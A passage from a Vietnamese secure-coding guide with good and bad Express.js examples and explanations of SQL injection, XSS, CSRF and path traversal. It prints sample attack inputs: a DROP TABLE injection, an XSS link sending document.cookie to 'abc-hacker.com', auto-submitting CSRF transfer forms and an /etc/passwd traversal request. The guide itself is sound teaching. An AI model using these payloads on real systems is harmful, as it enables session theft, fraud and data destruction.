header.",[15,442,73],{},[15,444,445],{},[78,446,136],{},[83,448,451],{"className":449,"code":450,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Search user\napp.get('\u002Fuser?name=test&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,452,450],{"__ignoreMap":92},[15,454,455],{},"Trong ví dụ trên, tại route \u002Fuser sẽ search user bởi name và email và trả kết quả tương ứng. Các thông tin name và email này không phải thông tin nhạy cảm nên có thể search bình thường.",[15,457,458],{},[78,459,150],{},[83,461,464],{"className":462,"code":463,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Search user\napp.get('\u002Fuser?password=test123&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,465,463],{"__ignoreMap":92},[15,467,468],{},"Trong ví dụ trên, tại route \u002Fuser sẽ search user bởi password và email và trả kết quả tương ứng. Do password là thông tin nhạy cảm nên trường hợp này vi phạm về tính bảo mật.",[58,470,472],{"id":471},"communication-security","Communication Security",[15,474,475],{},"Đảm bảo HTTP referer không chứa thông tin nhạy cảm như: session_id, token,.. Cần đảm bảo các tham số này được lọc khỏi HTTP referer trước khi thực hiện truy cập tới website khác.",[15,477,478],{},"Khi các hệ thống bên ngoài thực hiện kết nối và truy cập thông tin tới hệ thống của chúng ta cần đảm bảo có kết nối TLS",[15,480,481],{},"Thực hiện mã hóa để truyền tất cả các thông tin nhạy cảm sử dụng TLS cho việc mã hóa đường truyền giúp bảo vệ kết nối",[15,483,484],{},"Cần thiết lập cho website luôn sử dụng kết nối TLS cho tất cả nội dung yêu cầu quyền truy cập được xác thực và cho tất cả các thao tác truy cập",[15,486,487],{},"Có thể sử dụng bộ ký tự encode UTF-8 cho kết nối mã hóa",[15,489,73],{},[15,491,492],{},[78,493,136],{},[83,495,498],{"className":496,"code":497,"language":88},[86],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n  \napp.get('\u002Fsecure', (req, res) => {\n  console.log('Dữ liệu được truyền tải an toàn.');\n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Tạo server HTTPS\nhttps.createServer({\n key: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \n cert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[90,499,497],{"__ignoreMap":92},[15,501,502,503,507],{},"Trong ví dụ trên, chúng ta đã sử dụng module https để tạo một máy chủ sử dụng giao thức HTTPS. Khi người dùng thực hiện truy cập đến route \u002Fsecure, dữ liệu sẽ được truyền tải an toàn qua giao thức HTTPS và redirect đến một domain ",[118,504,505],{"href":505,"rel":506},"https:\u002F\u002Fexample.com",[122],", đảm bảo thông tin không thể bị đánh cắp hoặc hiệu chỉnh trong quá trình truyền tải và HTTP referer không chứa thông tin nhạy cảm.",[15,509,510],{},[78,511,150],{},[83,513,516],{"className":514,"code":515,"language":88},[86],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n \napp.get('\u002Fsecure?session_id=xxx', (req, res) => { \n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Tạo server HTTPS\nhttps.createServer({\nkey: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \ncert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[90,517,515],{"__ignoreMap":92},[15,519,520,521,524,525,528],{},"Trong ví dụ trên, khi người dùng thực hiện truy cập đến route \u002Fsecure  sẽ redirect đến một domain ",[118,522,505],{"href":505,"rel":523},[122],", lúc này HTTP referer có chứa thông tin nhạy cảm là session_id và có thể truy xuất từ domain ",[118,526,505],{"href":505,"rel":527},[122],".",[58,530,532],{"id":531},"system-configuration","System Configuration",[15,534,535],{},"Cần có hệ thống quản lý mã nguồn, lịch sử phiên bản, lịch sử thay đổi, log thay đổi tất cả các thành phần trong hệ thống để quản lý một cách dễ dàng và hạn chế rủi ro bảo mật.",[15,537,538],{},"Các môi trường dev, test, production cần được thiết lập để cô lập và không sử dụng chung tài nguyên, cơ sở dữ liệu. Giúp kiểm soát tốt dữ liệu cũng như tránh nguy cơ tấn công hệ thống test rồi tấn công hệ thống production.",[15,540,541],{},"Xóa thông tin không cần thiết khỏi HTTP response liên quan đến hệ điều hành, phiên bản máy chủ web, thông tin debug hay mã nguồn giúp chống kẻ tấn công thu thập và làm cơ sở để tấn công sâu hơn vào webisite.",[15,543,544],{},"Xóa các đoạn code test hay debug trong mã nguồn hoặc bất kỳ chức năng nào không dùng cho production trước khi triển khai.",[15,546,547],{},"Cần tắt chức năng Directory listing trên web server giúp hạn chế việc lộ ra các file nhạy cảm, các file chứa thông tin quan trọng.",[15,549,550],{},"Đảm bảo server, OS, framework và các thành phần của hệ thống đang sử dụng phiên bản an toàn không có lỗ hổng bảo mật, tốt nhất là sử dụng phiên bản mới nhất.",[15,552,553],{},"Đảm bảo server, OS, framework và các thành phần của hệ thống luôn được cập nhật các bản vá bảo mật từ nhà phát triển để hạn chế việc hackers khai thác từ các mã khai thác bảo mật đã được public.",[15,555,73],{},[15,557,558],{},[78,559,136],{},[83,561,564],{"className":562,"code":563,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Đọc biến môi trường cho cấu hình cơ sở dữ liệu \nconst dbConfig = { \n  host: process.env.DB_HOST, \n  username: process.env.DB_USERNAME, \n  password: process.env.DB_PASSWORD, \n  database: process.env.DB_DATABASE' \n}; \n \n\u002F\u002F Thực hiện kết nối cơ sở dữ liệu\nfunction connectToDatabase(config) { \n  \u002F\u002F Viết code kết nối đến cơ sở dữ liệu ở đây\n} \n \nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,565,563],{"__ignoreMap":92},[15,567,568],{},"Trong ví dụ trên, chúng ta đã sử dụng biến môi trường để lưu trữ thông tin cấu hình cơ sở dữ liệu như: DB_HOST, DB_USERNAME, DB_PASSWORD, và DB_DATABASE. Bằng cách sử dụng biến môi trường, chúng ta có thể dễ dàng điều chỉnh cấu hình của hệ thống không cần sửa đổi mã nguồn và giúp giảm nguy cơ bị lộ thông tin quan trọng như mật khẩu trong mã nguồn, tạo điều kiện thuận lợi cho việc quản lý cấu hình và triển khai an toàn hơn.",[15,570,571],{},[78,572,150],{},[83,574,577],{"className":575,"code":576,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\nconst dbConfig = { \n host: 'host', \n username: 'username', \n password: 'password', \n database: 'database' \n}; \n\n\u002F\u002F Thực hiện kết nối cơ sở dữ liệu\nfunction connectToDatabase(config) { \n \u002F\u002F Viết code kết nối đến cơ sở dữ liệu ở đây\n} \n\nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,578,576],{"__ignoreMap":92},[15,580,581],{},"Trong ví dụ trên, chúng ta không sử dụng biến môi trường để lưu trữ thông tin cấu hình cơ sở dữ liệu mà viết giá trị trực tiếp trong code. Nếu viết như cách này thì khi điều chỉnh cấu hình của hệ thống sẽ sửa đổi mã nguồn và có nguy cơ bị lộ thông tin quan trọng như mật khẩu trong mã nguồn, khó khăn cho việc quản lý cấu hình và triển khai một cách an toàn.",[58,583,585],{"id":584},"database-security","Database Security",[15,587,588],{},"Mỗi tài khoản kết nối tới cơ sở dữ liệu cần được phân quyền rõ ràng, riêng biệt theo đúng chức năng, nhiệm vụ và quyền hạn.",[15,590,591],{},"Những tài khoản mặc định, tài khoản không sử dụng cho nhu cầu về yêu cầu hệ thống cần được loại bỏ khỏi hệ thống.",[15,593,594],{},"Thực hiện đóng cơ sở dữ liệu nếu không còn truy cập.",[15,596,597],{},"Các chuỗi kết nối cơ sở dữ liệu cần được lưu trữ trong các file config riêng biệt và cần được mã hóa an toàn bằng các thuật toán mã hóa mạnh.",[15,599,600],{},"Tài khoản\u002Fmật khẩu truy cập cơ sở dữ liệu cần đủ mạnh, không sử dụng các thông tin mặc định hoặc dễ đoán.",[15,602,603],{},"Cơ sở dữ liệu cần chạy với user với quyền thấp nhât, được phân quyền rõ ràng và chỉ có thể truy cập tới cơ sở dữ liệu nhất định giúp ngăn chặn tấn công và khai thác dữ liệu của cơ sở dữ liệu khác.",[15,605,606],{},"Cần xác thực dữ liệu đầu vào trước khi thực hiện truyền vào câu truy vấn.",[15,608,609],{},"Sử dụng tham số cho câu lệnh truy vấn SQL giúp cho truy vấn và dữ liệu được tách biệt. Thay vì nối chuỗi trong truy vấn SQL, các tham số được truyền vào thông các biến. Việc này giúp chống lại lỗi SQL Injection khi người dùng truyền vào những dữ liệu độc hại.",[15,611,73],{},[15,613,614],{},[78,615,136],{},[83,617,620],{"className":618,"code":619,"language":88},[86],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Kết nối đến cơ sở dữ liệu \nconst db = mysql.createConnection({ \n  host: 'localhost', \n  user: 'username', \n  password: 'password', \n  database: 'mydb' \n}); \n \ndb.connect(err => {\n  if (err) {\n    console.error('Lỗi kết nối cơ sở dữ liệu:', err); return; \n  } \n  console.log('Đã kết nối đến cơ sở dữ liệu.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Tạo sách mới \napp.post('\u002Fbook', (req, res) => { \n  const { title, author } = req.body; \n  const query = 'INSERT INTO books (title, author) VALUES (?, ?)'; \n  db.query(query, [title, author], (err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n    } \n    return res.status(201).json({ message: 'Đã tạo thành công.' }); \n  }); \n}); \n \n\u002F\u002F Lấy danh sách\napp.get('\u002Fbook', (req, res) => { \n  const query = 'SELECT * FROM books where title = ?'; \n  db.query(query, [title],(err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n    } \n    return res.status(200).json(result); \n  }); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,621,619],{"__ignoreMap":92},[15,623,624],{},"Trong ví dụ trên, chúng ta sử dụng thư viện mysql để kết nối và thao tác với cơ sở dữ liệu MySQL. Để đảm bảo bảo mật trong truy vấn SQL, chúng ta sử dụng tham số cho câu lệnh truy vấn SQL . Điều này giúp ngăn chặn các cuộc tấn công SQL injection bằng cách tránh việc người dùng truyền vào những dữ liệu độc hại vào truy vấn SQL.",[15,626,627],{},[78,628,150],{},[83,630,633],{"className":631,"code":632,"language":88},[86],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Kết nối đến cơ sở dữ liệu \nconst db = mysql.createConnection({ \n host: 'localhost', \n user: 'username', \n password: 'password', \n database: 'mydb' \n}); \n \ndb.connect(err => {\n if (err) {\n   console.error('Lỗi kết nối cơ sở dữ liệu:', err); return; \n } \n console.log('Đã kết nối đến cơ sở dữ liệu.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Tạo sách mới \napp.post('\u002Fbook', (req, res) => { \n const { title, author } = req.body; \n const query = 'INSERT INTO books (title, author) VALUES (title, author)'; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n   } \n   return res.status(201).json({ message: 'Đã tạo thành công.' }); \n }); \n}); \n \n\u002F\u002F Lấy danh sách\napp.get('\u002Fbook', (req, res) => { \n const query = 'SELECT * FROM books where title =' + title; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n   } \n   return res.status(200).json(result); \n }); \n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,634,632],{"__ignoreMap":92},[15,636,637],{},"Trong ví dụ trên, thay vì sử dụng  tham số truyền vào cho câu lệnh truy vấn SQL nhưng chúng ta đang nối chuỗi trong câu truy vấn SQL . Điều này sẽ bị các cuộc tấn công SQL injection.",[58,639,641],{"id":640},"file-management","File Management",[15,643,644],{},"Nên thực hiện phân quyền thư mục file là : read-only để tránh những sửa đổi trái phép từ kẻ tấn công",[15,646,647],{},"Không trả về đường dẫn tuyệt đối (Ví dụ: \u002Fvar\u002Fwww\u002Fhtml\u002Fuploads\u002Ftest.jpg) vì kẻ tấn công có thể biết được đường dẫn tuyệt đối của website từ đó thực hiện tấn công các lỗ hổng khác. Chỉ trả về tên file hoặc đường dẫn thư mục chứa file (\u002Fuploads\u002Ftest.jpg)",[15,649,650],{},"Không lưu trữ file cùng với server chạy dịch vụ web. Thực hiện lưu trữ file ở một server riêng biệt hoặc sử dụng dịch vụ lưu trữ file của bên thứ 3 như Amazon S3.",[15,652,653],{},"Giới hạn các loại file (header file) được phép upload lên server. Đối với các chức năng upload cần white list các file-header được upload phù hợp với yêu cầu về chức năng( Ví dụ: Chức năng upload avatar chỉ cho phép Content-type là: image\u002Fjpeg và image\u002Fpng).",[15,655,656],{},"Yêu cầu xác thực trước khi cho người dùng có thể thực hiện upload. Việc xác thực người dùng giúp hạn chế việc upload trái phép các file độc hại cũng như phục vụ quá trình truy vết người dùng khi có tấn công xảy ra.",[15,658,659],{},"Giới hạn các loại file (extension file) được phép upload lên server. Đối với các chức năng upload cần white list các file được upload phù hợp với yêu cầu về chức năng( Ví dụ: Chức năng upload avatar chỉ cho phép: png và jpg).",[15,661,662],{},"Sử dụng trình quét virus để kiểm tra file người dùng upload. Việc này giúp loại bỏ các file độc hại, virus mà người dùng upload lên.",[15,664,73],{},[15,666,667],{},[78,668,136],{},[83,670,673],{"className":671,"code":672,"language":88},[86],"const express = require('express'); \nconst fs = require('fs'); \nconst path = require('path'); \nconst app = express(); \nconst port = 3000; \n \napp.use(express.json()); \napp.use(express.static('public')); \n \n\u002F\u002F Tải xuống tệp tin \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n const requestedFile = req.params.filename; \n  if (!\u002F^[a-zA-Z0-9._-]+$\u002F.test(requestedFile)) { \n    return res.status(400).send('filename không hợp lệ'); \n  }\n \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'Tệp tin không tồn tại.' }); \n  } \n \n  const fileStream = fs.createReadStream(filePath); \n  res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`); \n  fileStream.pipe(res); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,674,672],{"__ignoreMap":92},[15,676,677],{},"Trong ví dụ trên, khi tải xuống file, chúng ta sử dụng phương thức res.setHeader() để đặt tiêu đề \"Content-Disposition\" trong phản hồi HTTP. Điều này chỉ định rằng file sẽ được tải xuống dưới dạng tệp đính kèm với tên file chỉ định. Khi sử dụng tệp đính kèm như vậy, người dùng sẽ nhận được file mà không thể biết được đường dẫn tuyệt đối của nó trên máy chủ. Điều này giúp bảo vệ thông tin về cấu trúc hệ thống và ngăn chặn các cuộc tấn công dựa trên việc biết đường dẫn file tuyệt đối.",[15,679,680],{},[78,681,150],{},[83,683,686],{"className":684,"code":685,"language":88},[86],"const express = require('express'); \nconst fs = require('fs');\nconst path = require('path'); \nconst app = express(); \nconst port = 3000;\n \napp.use(express.static('public'));\n \n\u002F\u002F Tải xuống tệp tin \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'Tệp tin không tồn tại.' }); \n  } \n \n  res.download(filePath, requestedFile, err => { \n    if (err) { \n      console.error('Lỗi khi tải xuống tệp tin:', err); \n      return res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n    } \n  });\n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,687,685],{"__ignoreMap":92},[15,689,690],{},"Trong ví dụ trên sẽ trả về đường dẫn tuyệt đối của file.",[10,692,694],{"id":693},"các-lỗi-tấn-công-phổ-biến-và-cách-phòng-tránh","Các lỗi tấn công phổ biến và cách phòng tránh",[58,696,698],{"id":697},"sql-injection","SQL Injection",[15,700,701],{},"SQL Injection là kỹ thuật lợi dụng lỗ hổng truy vấn của các ứng dụng. Nó được thực hiện bằng cách chèn một đoạn mã SQL nhằm làm sai lệch câu truy vấn ban đầu, từ đó có thể khai thác dữ liệu từ cơ sở dữ liệu, tạo lỗi hoặc làm hỏng dữ liệu của hệ thống.",[15,703,704],{},"Ví dụ: Chúng ta có 1 function như sau:",[83,706,709],{"className":707,"code":708,"language":88},[86],"const getUserByUserName = (userName: string) => {\n\n const query = 'SELECT * FROM Users WHERE userName = ’ + userName;\n\n return query.excute();\n\n}\n",[90,710,708],{"__ignoreMap":92},[15,712,713],{},"Khi người dùng truyền userName = 'abc' or '1'='1' thì câu SQL sẽ như sau:",[83,715,718],{"className":716,"code":717,"language":88},[86],"SELECT * FROM Users WHERE userName = 'abc' or '1'='1';\n",[90,719,717],{"__ignoreMap":92},[15,721,722],{},"Với câu lệnh SQL này thì luôn luôn đúng và trả về tất cả thông tin trong bảng Users.",[15,724,725],{},"Trường hợp khác người dùng truyền userName = 'abc'; DROP TABLE Users; câu lệnh SQL sẽ trông như thế này:",[83,727,730],{"className":728,"code":729,"language":88},[86],"SELECT* FROM Users WHERE userName = 'abc';\nDROP TABLE Users;\n",[90,731,729],{"__ignoreMap":92},[15,733,734],{},"Với lệnh này, bảng Users sẽ bị xóa, và rất nguy hiểm.",[15,736,737],{},[78,738,739],{},"Cách phòng tránh",[29,741,742,745,748],{},[32,743,744],{},"Kiểm tra đầu vào của người dùng: Có thể dùng Regular Expression để loại bỏ đi các ký tự lạ hoặc các ký tự không phải là số và chữ.",[32,746,747],{},"Không cộng chuỗi để tạo SQL: Sử dụng tham số thay vì cộng chuỗi. Nếu dữ liệu nhập vào không hợp pháp thì SQL Engine sẽ tự động báo lỗi, ta không cần dùng code để kiểm tra.",[32,749,750],{},"Hạn chế viết SQL thuần, nên sử dụng thư viện ORM (Object-Relational Mapping) framework, framework này sẽ tự tạo câu lệnh SQL nên sẽ an toàn hơn.",[58,752,754],{"id":753},"cross-site-scripting-xss","Cross-Site Scripting (XSS)",[15,756,757],{},"Cross-Site Scripting (XSS) là một hình thức tấn công bằng mã độc phổ biến. Các hackers sẽ lợi dụng lỗ hổng trong bảo mật web để chèn các mã script để thực thi chúng ở phía Client. Thông thường, các cuộc tấn công XSS được sử dụng để vượt qua truy cập và mạo danh người dùng. Mục đích chính của cuộc tấn công này là đánh cắp dữ liệu nhận dạng của người dùng như: cookies, session tokens và các thông tin khác.",[15,759,760],{},"Có 3 loại tấn công XSS chính như sau:",[29,762,763,792,800],{},[32,764,765,766],{},"Reflected XSS\n",[767,768,769,772],"ul",{},[32,770,771],{},"Là hình thức tấn công sử dụng mã script độc hại đến từ HTTP request. Từ đó, hackers đánh cắp dữ liệu của người dùng và chiếm quyền truy cập và hoạt động của họ trên website thông qua việc chia sẻ URL chứa mã độc.",[32,773,774,775],{},"Ví dụ:\n",[767,776,777,786,789],{},[32,778,779,780],{},"Khi truy cập website, người dùng không biết hoặc vô tình click vào hình ảnh, quảng cáo có đường dẫn độc hại sau:",[83,781,784],{"className":782,"code":783,"language":88},[86],"http:\u002F\u002Fuser.com\u002Fname=var+i=new+Image;+i.src=”http:\u002F\u002Fabc-hacker.com\u002F”%2Bdocument.cookie;\n",[90,785,783],{"__ignoreMap":92},[32,787,788],{},"Lúc này, hackers chỉ cần kiểm tra request gửi đến server của mình để nhận cookie của người dùng và sử dụng nó để chiếm đoạt phiên đăng nhập của người dùng.",[32,790,791],{},"Đặc điểm của loại XSS này là hackers phải gửi link chứa mã độc cho người dùng và lừa được người dùng truy cập vào link này. Mã độc sẽ được thực thi ngay khi người dùng truy cập link.",[32,793,794,795],{},"Stored XSS\n",[767,796,797],{},[32,798,799],{},"Là hình thức tấn công mà hackers chèn các mã độc vào cơ sở dữ liệu thông qua các dữ liệu đầu vào như input, textarea, form,… mà không được kiểm tra kỹ. Khi người dùng truy cập và tiến hành những thao tác liên quan đến dữ liệu đã lưu thì mã độc sẽ lập tức hoạt động trên trình duyệt.",[32,801,802,803],{},"DOM-based XSS\n",[767,804,805],{},[32,806,807],{},"Là nơi lỗ hổng bảo mật tồn tại trong mã phía client, chứ không phải mã phía server. Hình thức này dùng để khai thác XSS dựa vào việc thay đổi HTML của tài liệu, hay nói cách khác là thay đổi cấu trúc DOM.",[15,809,810],{},[78,811,739],{},[29,813,814,817,820],{},[32,815,816],{},"Data validation (xác định đầu vào): Đảm bảo dữ liệu đầu vào do người dùng cung cấp là chính xác.",[32,818,819],{},"Filtering (lọc đầu vào người dùng): Phương pháp này giúp tìm ra những từ khóa nguy hiểm trong đầu vào của người dùng để kịp thời thay thế hoặc loại bỏ chúng.",[32,821,822],{},"Escape: Đây là cách ngăn chặn XSS tương đối hiệu quả bằng cách thay đổi các ký tự bằng mã đặc biệt có thể sử dụng thư viện Escape thích hợp.",[58,824,826],{"id":825},"cross-site-request-forgery-csrf",[78,827,828],{},"Cross-Site Request Forgery (CSRF)",[15,830,831],{},"Cross Site Request Forgery (CSRF ) là một cuộc tấn công buộc người dùng thực hiện các hành động không mong muốn trên một ứng dụng web mà họ hiện đang được xác thực. Với một chút trợ giúp của Social Engineering (còn gọi là tấn công phi kỹ thuật chẳng hạn như gửi liên kết qua email hoặc trò chuyện), kẻ tấn công có thể lừa người dùng ứng dụng web thực hiện các hành động do kẻ tấn công lựa chọn.",[15,833,834],{},"Ví dụ: user1 đã đăng nhập vào ngân hàng muốn chuyển tiền cho user2 là 1000$, user3 là người tấn công muốn user1 chuyển tiền cho mình thì sẽ như sau:",[15,836,837],{},"Nếu ứng dụng được thiết kế sử dụng yêu cầu GET để chuyển các tham số và thực hiện các hành động chuyển tiền thì một yêu cầu như:",[83,839,842],{"className":840,"code":841,"language":88},[86]," http:\u002F\u002Fbank.com\u002Ftransfer?account=user2&amount=1000\n",[90,843,841],{"__ignoreMap":92},[15,845,846],{},"Bây giờ user3 quyết định khai thác lỗ hổng ứng dụng web này bằng cách sử dụng user1 làm nạn nhân. Trước tiên, user3 xây dựng URL khai thác sau đây sẽ chuyển 200.000$ từ tài khoản của user1 sang tài khoản của mình. user3 lấy URL lệnh ban đầu và thay thế tên người thụ hưởng bằng chính mình, đồng thời tăng số tiền chuyển khoản lên đáng kể như sau:",[83,848,851],{"className":849,"code":850,"language":88},[86],"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\n",[90,852,850],{"__ignoreMap":92},[15,854,855],{},"Sau đó user3 gửi một email không mong muốn với nội dung HTML hoặc đặt một URL trên các trang mà nạn nhân có thể truy cập khi họ cũng đang thực hiện giao dịch ngân hàng trực tuyến. URL khai thác có thể được ngụy trang dưới dạng một liên kết thông thường, khuyến khích nạn nhân nhấp vào liên kết đó:",[83,857,860],{"className":858,"code":859,"language":88},[86],"\u003Ca href=\"http:\u002F\u002Fbank.com\u002Ftransfer.do?acct=user3&amount=200000\">Click vào xem ảnh\u003C\u002Fa>\nHay như ảnh:\n\u003Cimg src=\"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\" width=\"0\" height=\"0\" border=\"0\">\n",[90,861,859],{"__ignoreMap":92},[15,863,864],{},"Nếu thẻ hình ảnh này được bao gồm trong email, user1 sẽ không thấy gì cả. Tuy nhiên, trình duyệt sẽ vẫn gửi yêu cầu tới bank.com mà không có bất kỳ dấu hiệu trực quan nào cho thấy việc chuyển tiền đã diễn ra.",[15,866,867],{},[78,868,869],{},"Trường hợp khác",[15,871,872],{},"Giả sử ngân hàng hiện đang sử dụng POST và yêu cầu dễ bị tấn công trông như thế này:",[83,874,877],{"className":875,"code":876,"language":88},[86],"POST http:\u002F\u002Fbank.com\u002Ftransfer\naccount=user2&amount=1000\n",[90,878,876],{"__ignoreMap":92},[15,880,881],{},"Yêu cầu như vậy không thể được gửi bằng thẻ \u003Ca> hoặc \u003Cimg> tiêu chuẩn, nhưng có thể được gửi bằng thẻ \u003Cform> như sau:",[83,883,886],{"className":884,"code":885,"language":88},[86],"\u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n  \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n  \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n\u003C\u002Fform>\n",[90,887,885],{"__ignoreMap":92},[15,889,890],{},"Biểu mẫu này sẽ yêu cầu người dùng nhấp vào nút gửi, nhưng điều này cũng có thể được thực thi tự động bằng JavaScript:",[83,892,895],{"className":893,"code":894,"language":88},[86],"\u003Cbody onload=\"document.forms[0].submit()\">\n  \u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n    \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n    \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n    \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n  \u003C\u002Fform>\n\u003C\u002Fbody>\n",[90,896,894],{"__ignoreMap":92},[15,898,899],{},[78,900,739],{},[767,902,903,922],{},[32,904,905,908],{},[78,906,907],{},"Phía user",[767,909,910,913,916,919],{},[32,911,912],{},"Nên đăng xuất khỏi các website quan trọng như: Tài khoản ngân hàng, thanh toán trực tuyến, các mạng xã hội, gmail,… khi đã thực hiện xong giao dịch.",[32,914,915],{},"Không nên click vào các đường dẫn không rõ mà bạn nhận được qua email, facebook... hoặc mở xem các email lạ.",[32,917,918],{},"Không lưu các thông tin về mật khẩu tại trình duyệt của mình (không nên chọn các phương thức \"đăng nhập lần sau\", \"lưu mật khẩu\").",[32,920,921],{},"Trong quá trình thực hiện giao dịch hay vào các website quan trọng không nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn công.",[32,923,924,927],{},[78,925,926],{},"Phía server",[767,928,929,932,935,938],{},[32,930,931],{},"Sử dụng GET và POST đúng cách. Dùng GET nếu thao tác là truy vấn dữ liệu. Dùng POST nếu các thao tác tạo ra sự thay đổi hệ thống. Nếu ứng dụng của bạn theo chuẩn RESTful, bạn có thể dùng thêm các HTTP verbs, như PATCH, PUT hoặc DELETE.",[32,933,934],{},"Captcha được sử dụng để nhận biết đối tượng đang thao tác với hệ thống là con người hay không. Các thao tác quan trọng như \"đăng nhập\" hay là \"chuyển khoản\" ,\"thanh toán\" thường là được sử dụng captcha.",[32,936,937],{},"Sử dụng cookie riêng biệt cho trang quản trị",[32,939,940],{},"Kiểm tra IP: Một số hệ thống quan trọng chỉ cho truy cập từ những IP được thiết lập sẵn",[58,942,944],{"id":943},"path-traversal",[78,945,946],{},"Path Traversal",[15,948,949],{},"Path traversal là một lỗ hổng web cho phép kẻ tấn công truy cập các file và thư mục được lưu trữ bên ngoài thư mục gốc của web, đọc các file không mong muốn trên server. Nó dẫn đến việc bị lộ thông tin nhạy cảm của ứng dụng như thông tin đăng nhập, một số file hoặc thư mục của hệ điều hành. Trong một số trường hợp cũng có thể ghi vào các files trên server, cho phép kẻ tấn công có thể thay đổi dữ liệu hay thậm chí là chiếm quyền điều khiển server.",[15,951,952],{},"Ví dụ:",[15,954,955],{},"Một ứng dụng load ảnh như sau:",[83,957,960],{"className":958,"code":959,"language":88},[86],"\u003Cimg src=\"\u002FloadImage?filename=image-logo.png\">\n",[90,961,959],{"__ignoreMap":92},[15,963,964],{},"Khi chúng ta gửi một request với một param filename=image-logo.png thì sẽ trả về nội dung của file được chỉ định với file hình ảnh ở \u002Fvar\u002Fwww\u002Fimages\u002Fimage-logo.png",[15,966,967],{},"Lúc này ứng dụng không thực hiện việc phòng thủ cuộc tấn công path traversal, kẻ tấn công có thể thực hiện một yêu cầu tùy ý để có thể đọc các file trong hệ thống.",[15,969,970],{},"ví dụ:",[83,972,975],{"className":973,"code":974,"language":88},[86],"https:\u002F\u002Fhostname\u002FloadImage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[90,976,974],{"__ignoreMap":92},[15,978,979],{},"Khi đó ứng dụng sẽ đọc file với đường dẫn là \u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd với mỗi ..\u002F là trở về thư mục cha của thư mục hiện tại. Như vậy với ..\u002F..\u002F..\u002F thì từ thư mục \u002Fvar\u002Fwww\u002Fimages\u002F đã trở về thư mục gốc và file \u002Fetc\u002Fpasswd chính là file được đọc.",[15,981,982],{},"Trên các hệ điều hành Linux thì \u002Fetc\u002Fpasswd\u002F là một file chứa thông tin về các người dùng.",[15,984,985],{},"Sau khi đọc được file \u002Fetc\u002Fpasswd\u002F nó sẽ trông như thế này",[987,988],"img",{"className":989,"alt":92,"src":992,"style":993},[990,991],"block","mx-auto","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F21090548\u002Fsecure-coding-3.png","width: 100%;",[15,995,996],{},"Ngoài file \u002Fetc\u002Fpasswd\u002F này thì kẻ tấn công có thể thực hiện một yêu cầu tùy ý để có thể đọc các file và thư mục khác trong hệ thống.",[15,998,999],{},[78,1000,739],{},[29,1002,1003,1006,1009,1012],{},[32,1004,1005],{},"Nên xác thực đầu vào của người dùng trước khi xử lý.",[32,1007,1008],{},"Không lưu trữ các file cấu hình nhạy cảm bên trong 